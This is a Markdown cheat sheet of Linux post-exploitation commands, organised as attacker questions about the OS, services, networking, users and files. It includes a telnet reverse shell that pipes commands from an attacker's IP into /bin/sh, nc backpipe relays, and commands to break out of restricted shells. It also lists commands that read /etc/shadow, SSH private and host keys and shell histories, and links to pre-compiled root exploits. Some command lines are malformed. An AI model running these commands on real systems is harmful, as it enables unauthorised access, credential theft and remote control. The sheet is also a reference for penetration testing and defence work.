429 lines
12 KiB
Markdown
429 lines
12 KiB
Markdown
## Exploitation Commands
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### Operating System
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- What's the distribution type? What version?
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```Terminal
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cat /etc/issue
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cat /etc/*-release
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cat /etc/lsb-release
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cat /etc/redhat-release
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```
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- What's the Kernel version? (32,64,86-bit)
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```Terminal
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cat /proc/version
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uname -a
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uname -mrs
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rpm -q kernel
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dmesg | grep Linux
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ls /boot | grep vmlinuz-
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```
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- What can be learnt from the environmental variables?
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```Terminal
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cat /etc/profile
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cat /etc/bashrc
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cat ~/.bash_profile
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cat ~/.bashrc
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cat ~/.bash_logout
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env
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set
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```
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- Is there a printer?
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```Terminal
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lpstat -a
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```
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### Applications & Service
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- What services are running? Which service has which user privilege?
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```Terminal
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ps aux
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ps -ef
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top
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cat /etc/service
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```
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- Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!
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```Terminal
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ps aux | grep root
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ps -ef | grep root
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```
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- What applications are installed? What version are they? Are they currently running?
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```Terminal
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ls -alh /usr/bin/
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ls -alh /sbin/
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dpkg -l
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rpm -qa
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ls -alh /var/cache/apt/archivesO
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ls -alh /var/cache/yum/
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```
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- Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
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```Terminal
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cat /etc/syslog.conf
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cat /etc/chttp.conf
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cat /etc/lighttpd.conf
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cat /etc/cups/cupsd.conf
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cat /etc/inetd.conf
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cat /etc/apache2/apache2.conf
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cat /etc/my.conf
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cat /etc/httpd/conf/httpd.conf
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cat /opt/lampp/etc/httpd.conf
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ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
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```
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- What jobs are scheduled?
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```Terminal
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crontab -l
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ls -alh /var/spool/cron
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ls -al /etc/ | grep cron
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ls -al /etc/cron*
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cat /etc/cron*
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cat /etc/at.allow
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cat /etc/at.deny
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cat /etc/cron.allow
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cat /etc/cron.deny
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cat /etc/crontab
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cat /etc/anacrontab
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cat /var/spool/cron/crontabs/root
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```
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- Any plain text usernames and/or passwords?
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```Terminal
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grep -i user [filename]
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grep -i pass [filename]
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grep -C 5 "password" [filename]
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find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
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```
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### Communications & Networking
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- What NIC(s) does the system have? Is it connected to another network?
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```Terminal
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/sbin/ifconfig -a
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cat /etc/network/interfaces
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cat /etc/sysconfig/network
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```
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- What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
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```Terminal
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cat /etc/resolv.conf
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cat /etc/sysconfig/network
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cat /etc/networks
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iptables -L
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hostname
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dnsdomainname
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```
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- What other users & hosts are communicating with the system?
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```Terminal
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lsof -i
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lsof -i :80
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grep 80 /etc/services
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netstat -antup
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netstat -antpx
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netstat -tulpn
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chkconfig --list
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chkconfig --list | grep 3:on
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last
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w
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```
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- Whats cached? IP and/or MAC addresses
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```Terminal
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arp -e
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route
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/sbin/route -nee
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```
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- Is packet sniffing possible? What can be seen? Listen to live traffic
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```Terminal
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# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
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tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
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```
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- Have you got a shell? Can you interact with the system?
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```Termminal
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# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
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nc -lvp 4444 # Attacker. Input (Commands)
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nc -lvp 4445 # Attacker. Ouput (Results)
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telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!
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```
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- Is port forwarding possible? Redirect and interact with traffic from another view
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```Termminal
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# rinetd
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# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
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# fpipe
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# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
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FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
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# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
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ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port
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ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port
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`# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe`
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mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay
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mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)
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mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)
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```
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- Is tunnelling possible? Send commands locally, remotely
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```Termminal
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ssh -D 127.0.0.1:9050 -N [username]@[ip]
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proxychains ifconfig
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```
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### Confidential Information & Users
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- Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
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```Termminal
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id
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who
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w
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last
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cat /etc/passwd | cut -d: # List of users
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grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
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awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
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cat /etc/sudoers
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sudo -l
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```
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- What sensitive files can be found?
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```Termminal
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cat /etc/passwd
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cat /etc/group
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cat /etc/shadow
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ls -alh /var/mail/
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```
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- Anything "interesting" in the home directorie(s)? If it's possible to access
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```Termminal
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ls -ahlR /root/
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ls -ahlR /home/
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```
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- Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
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```Termminal
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cat /var/apache2/config.inc
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cat /var/lib/mysql/mysql/user.MYD
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cat /root/anaconda-ks.cfg
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```
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- What has the user being doing? Is there any password in plain text? What have they been edting?
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```Terminal
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cat ~/.bash_history
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cat ~/.nano_history
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cat ~/.atftp_history
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cat ~/.mysql_history
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cat ~/.php_history
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```
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- What user information can be found?
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```Termminal
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cat ~/.bashrc
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cat ~/.profile
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cat /var/mail/root
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cat /var/spool/mail/root
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```
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- Can private-key information be found?
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```Termminal
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cat ~/.ssh/authorized_keys
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cat ~/.ssh/identity.pub
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cat ~/.ssh/identity
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cat ~/.ssh/id_rsa.pub
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cat ~/.ssh/id_rsa
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cat ~/.ssh/id_dsa.pub
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cat ~/.ssh/id_dsa
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cat /etc/ssh/ssh_config
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cat /etc/ssh/sshd_config
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cat /etc/ssh/ssh_host_dsa_key.pub
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cat /etc/ssh/ssh_host_dsa_key
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cat /etc/ssh/ssh_host_rsa_key.pub
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cat /etc/ssh/ssh_host_rsa_key
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cat /etc/ssh/ssh_host_key.pub
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cat /etc/ssh/ssh_host_key
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```
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### File Systems
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- Which configuration files can be written in /etc/? Able to reconfigure a service?
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```Termminal
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ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
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ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
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ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
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ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
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find /etc/ -readable -type f 2>/dev/null # Anyone
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find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
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```
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- What can be found in /var/ ?
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```Termminal
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ls -alh /var/log
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ls -alh /var/mail
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ls -alh /var/spool
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ls -alh /var/spool/lpd
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ls -alh /var/lib/pgsql
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ls -alh /var/lib/mysql
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cat /var/lib/dhcp3/dhclient.leases
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```
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- Any settings/files (hidden) on website? Any settings file with database information?
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```Termminal
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ls -alhR /var/www/
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ls -alhR /srv/www/htdocs/
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ls -alhR /usr/local/www/apache22/data/
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ls -alhR /opt/lampp/htdocs/
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ls -alhR /var/www/html/
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```
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- Is there anything in the log file(s) (Could help with "Local File Includes"!)
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```Termminal
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# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
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cat /etc/httpd/logs/access_log
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cat /etc/httpd/logs/access.log
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cat /etc/httpd/logs/error_log
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cat /etc/httpd/logs/error.log
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cat /var/log/apache2/access_log
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cat /var/log/apache2/access.log
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cat /var/log/apache2/error_log
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cat /var/log/apache2/error.log
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cat /var/log/apache/access_log
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cat /var/log/apache/access.log
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cat /var/log/auth.log
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cat /var/log/chttp.log
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cat /var/log/cups/error_log
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cat /var/log/dpkg.log
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cat /var/log/faillog
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cat /var/log/httpd/access_log
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cat /var/log/httpd/access.log
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cat /var/log/httpd/error_log
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cat /var/log/httpd/error.log
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cat /var/log/lastlog
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cat /var/log/lighttpd/access.log
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cat /var/log/lighttpd/error.log
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cat /var/log/lighttpd/lighttpd.access.log
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cat /var/log/lighttpd/lighttpd.error.log
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cat /var/log/messages
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cat /var/log/secure
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cat /var/log/syslog
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cat /var/log/wtmp
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cat /var/log/xferlog
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cat /var/log/yum.log
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cat /var/run/utmp
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cat /var/webmin/miniserv.log
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cat /var/www/logs/access_log
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cat /var/www/logs/access.log
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ls -alh /var/lib/dhcp3/
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ls -alh /var/log/postgresql/
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ls -alh /var/log/proftpd/
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ls -alh /var/log/samba/
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`#auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp`
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```
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- If commands are limited, you break out of the "jail" shell?
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```Termminal
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python -c 'import pty;pty.spawn("/bin/bash")'
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echo os.system('/bin/bash')
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/bin/sh -i
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```
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- How are file-systems mounted?
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```Termminal
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mount
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df -h
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```
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- Are there any unmounted file-systems?
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```Termminal
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cat /etc/fstab
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```
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- What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID
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```Termminal
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# The following command lists system executables with elevated privileges, showing their permissions, ownership, size, and modification date. Regularly reviewing these files is crucial to identify potential security risks.
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find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
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find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
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find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
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find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
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find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
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for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
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``# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)`
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find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
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```
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- Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm
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```Termminal
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find / -writable -type d 2>/dev/null # world-writeable folders
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find / -perm -222 -type d 2>/dev/null # world-writeable folders
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find / -perm -o+w -type d 2>/dev/null # world-writeable folders
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find / -perm -o+x -type d 2>/dev/null # world-executable folders
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find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null # world-writeable & executable folders
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```
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- Any "problem" files? Word-writeable, "nobody" files
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```Termminal
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find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files
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find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files
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```
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### Preparation & Finding Exploit Code
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- What development tools/languages are installed/supported?
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```Termminal
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find / -name perl*
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find / -name python*
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find / -name gcc*
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find / -name cc
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```
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- How can files be uploaded?
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```Termminal
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find / -name wget
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find / -name nc*
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find / -name netcat*
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find / -name tftp*
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find / -name ftp
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```
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- Finding exploit code
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http://www.exploit-db.com
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http://1337day.com
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http://www.securiteam.com
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http://www.securityfocus.com
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http://www.exploitsearch.net
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http://metasploit.com/modules/
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http://securityreason.com
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http://seclists.org/fulldisclosure/
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http://www.google.com
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- Finding more information regarding the exploit
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http://www.cvedetails.com
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http://packetstormsecurity.org/files/cve/[CVE]
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http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
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http://www.vulnview.com/cve-details.php?cvename=[CVE]
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- (Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk
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http://tarantula.by.ru/localroot/
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http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/ |